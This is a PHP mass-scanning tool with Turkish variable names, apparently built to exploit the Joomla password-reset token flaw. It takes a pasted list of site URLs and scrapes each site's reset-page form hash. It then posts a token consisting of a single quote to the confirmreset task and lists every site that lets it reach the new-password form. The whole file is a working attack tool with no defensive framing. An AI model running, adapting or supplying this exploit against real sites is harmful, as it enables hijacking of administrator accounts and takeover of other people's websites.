<?php
ob_start();
error_reporting(0);
set_time_limit(0);
if (!extension_loaded(curl)){die("<b>Curl Not Supported Please Curl Library Upload</b>");}
echo'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
<meta http-equiv="Content-Language" content="tr" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Joomla Token</title>
<style type="text/css">
.style1 {
   text-align: center;
}
.style2 {
   text-align: center;
   font-size: large;
}
</style>
</head>

<body>

<p class="style2"><strong>Joomla Token</strong></p>
<form method="post" action="">
   <div class="style1">
      <textarea name="token" style="height: 120px; width: 499px"></textarea><br />
      <input type="submit" value="Tara" /><br><br>Joomla Token</div>
</form>

</body>

</html>';
class Searcher
{
   private $kodlar;
   private $ekle;
   private $eklex;
   private $veri;
   
   public function __construct()
   {
      $this->kodlar=null;
      $this->veri=null;
      $this->ekle="/?option=com_user&view=reset&layout=confirm";
      $this->eklex="/?option=com_user&task=confirmreset";
   }
   private function baglan($url)
   {
      $baglan=curl_init();
         curl_setopt($baglan, CURLOPT_RETURNTRANSFER, 1);
         curl_setopt($baglan, CURLOPT_URL,$url);
         curl_setopt($baglan, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4');
         curl_setopt($baglan, CURLOPT_COOKIEJAR, 'dosya.txt');
         curl_setopt($baglan, CURLOPT_COOKIEFILE, 'dosya.txt');
         $this->kodlar=curl_exec($baglan);
         curl_close($baglan);
         return $this->kodlar;
   }
   private function postala($site)
   {
      $adres=$site.$this->ekle;
      $hash=self::hashBul($adres);
      $url=$site.$this->eklex;
      $baglan=curl_init();
         curl_setopt($baglan, CURLOPT_RETURNTRANSFER, 1);
         curl_setopt($baglan, CURLOPT_URL,$url);
         curl_setopt($baglan, CURLOPT_FOLLOWLOCATION, 1);
         curl_setopt($baglan, CURLOPT_COOKIEJAR, 'dosya.txt');
         curl_setopt($baglan, CURLOPT_COOKIEFILE, 'dosya.txt');
         curl_setopt($baglan, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4');
         curl_setopt($baglan, CURLOPT_POST, 1);
         curl_setopt($baglan, CURLOPT_POSTFIELDS, "token=%27&".$hash."=1");
         $this->veri=curl_exec($baglan);
         curl_close($baglan);
         return $this->veri;
   }
   private function hashBul($kaynak)
   {
      $this->parcala=self::baglan($kaynak);
      $this->desen="/type=\"hidden\" name=\"([0-9a-f]{32})\" value=\"1\"/si";
      preg_match_all($this->desen,$this->parcala,$dizi);
      return $dizi[1][0];
   }
   public function kontrol($adres)
   {
   global $tokentara;
      $postala=self::postala($adres);
      if(eregi('name="password1"',$postala))
      {
         echo '<center><style type="text/css">
         .bekleyazi {
            color: #00FF00;
         }
         </style>

         <p>
         <span class="bekleyazi"><strong>Found : </strong><a href="'.$tokentara.$this->ekle.'">'.$tokentara.$this->ekle.'</a></span></p></center>';
         ob_flush();
         flush();
      }
   }
   public function __destruct()
   {
      unset($this->kodlar);
      unset($this->veri);
   }   
}

$x=new Searcher();
$token=$_POST ['token'];
if ($token)
{
   echo '<center><style type="text/css">
   .bekleiste {
      color: #000000;
   }
   </style>

   <p>
   <img alt="" src="http://www.blueicestudios.com/ajax/images/ajax-loader.gif" width="16" height="16" /><span class="bekleiste">
   Taraniyor... Lutfen Bekleyin...</span></p></center>';
$temiz=explode ("\r\n",$token);
foreach ($temiz as $tokentara)
{
echo $x->kontrol($tokentara);
}
   echo '<center><style type="text/css">
   .bekleiste {
      color: #000000;
   }
   </style>

   <p>
   <span class="bekleiste">FINISH...</span></p></center>';

}
?>